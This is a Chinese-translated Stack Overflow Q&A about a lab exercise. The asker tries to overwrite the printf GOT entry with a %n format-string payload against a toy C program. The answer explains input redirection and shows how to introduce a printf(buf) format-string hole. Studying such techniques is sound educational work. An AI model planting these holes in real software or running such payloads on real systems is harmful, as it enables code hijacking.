【问题标题】:How to exploit printf vulnerability for different input methods?如何针对不同的输入法利用 printf 漏洞?
【发布时间】:2017-01-26 16:31:45
【问题描述】:

我正在尝试使用以下 C 代码来利用 printf 漏洞:

#include <stdio.h>
#include <stdlib.h>

/*
gcc -fno-stack-protector -z execstack -o test test.c
*/
void attack(){
    printf("Dropping to shell...\n");
}

int main(int argc, char **argv){
    char buf[100];

    printf("Enter user name:");

    gets(buf);  // what if using: scanf("%s",buf); ?

    printf("buffer (%d): %s\n",strlen(buf), buf);

    return 0;
}

然后我尝试改变printf@plt跳转到攻击函数,通过重写0x804a00c中的值

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048376:   68 00 00 00 00          push   $0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x28>

我使用下面的命令在GDB中测试,我尝试将0x804a00c中的值更改为0x00000041,以验证我可以更改它。然后我可以把它改成attack()地址。

gdb-peda$ r
Starting program:
Enter user name:$(printf "\x0c\xa0\x04\x08").%60x%5\$n

但是它对我不起作用,地址没有改变,我验证了堆栈中的值(在 printf() 地址处中断)并得到:

[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x80485c6 ("buffer (%d): %s\n")
0004| 0xbffff074 --> 0x26 ('&')
0008| 0xbffff078 --> 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n")
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4a91b2bc 
0020| 0xbffff084 --> 0xbffff0a8 (".%60x%5\\$n")
0024| 0xbffff088 --> 0xbffff0a0 ("04\\x08\").%60x%5\\$n")
0028| 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n")

我认为我没有传递正确的值,因为它已更改为另一种格式。我猜这是因为gets(),因为我在使用argv传递时可以正确传递:$(printf "\x0c\xa0\x04\x08").%60x%5\$n.

那么有人知道如何解决这个问题吗?此外,如果输入使用 scanf(%s,buf) 怎么办,因为我在堆栈上得到以下内容,这也是不正确的。

[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x80485f9 ("buffer (%d): %s\n")
0004| 0xbffff074 --> 0x8 
0008| 0xbffff078 --> 0xbffff08c ("$(printf")
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4f936a87 
0020| 0xbffff084 --> 0xbffff0a8 --> 0xb7e21c34 --> 0x2aad 
0024| 0xbffff088 --> 0xbffff0a0 --> 0xffffffff 
0028| 0xbffff08c ("$(printf")

【问题讨论】:

    标签: c linux gdb printf exploit


    【解决方案1】:

    您在这里有几个误解。

    首先,$(cmd) 是一个 shell 命令替换。它在传递参数时很有用:例如,./foo $(python -c 'print "A"*4') 等价于 ./foo AAAA。如果您的程序从标准输入中获取输入,则必须使用管道:例如,python -c 'print "A"*4' | ./foo 相当于运行./foo 并在键盘上输入AAAA

    其次,您的代码中实际上没有格式字符串漏洞。但是,堆栈缓冲区溢出(在getsscanf 上)。当您使用用户控制的格式字符串调用 printfscanf 等函数时,会发生格式字符串漏洞。如果需要,可以将最后一个 printf 更改为:

    printf("buffer (%d): ", strlen(buf));
    printf(buf); // <-- this is vulnerable
    printf("\n");
    

    至于gets(buf)scanf("%s", buf) 之间的区别:两者都将在换行符/EOF 处停止,但scanf 也将在空白处停止(可以在您的输出中看到只有$(printf 被读取)。

    【讨论】:

    • 非常感谢,但是有什么方法可以在 gdb 中进行测试吗?因为我无法运行 python 在 gdb 中打印这些值。
    • @Eudaemon 将您的输入放在一个文件中(假设它名为input),然后使用来自 GDB 的重定向:run &lt; input
    • 您也可以在没有其他文件的情况下执行此操作.. reverseengineering.stackexchange.com/a/20542/27340
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2020-09-16
    • 1970-01-01
    • 1970-01-01
    • 2021-07-07
    • 1970-01-01
    • 2021-01-13
    • 1970-01-01
    相关资源
    最近更新 更多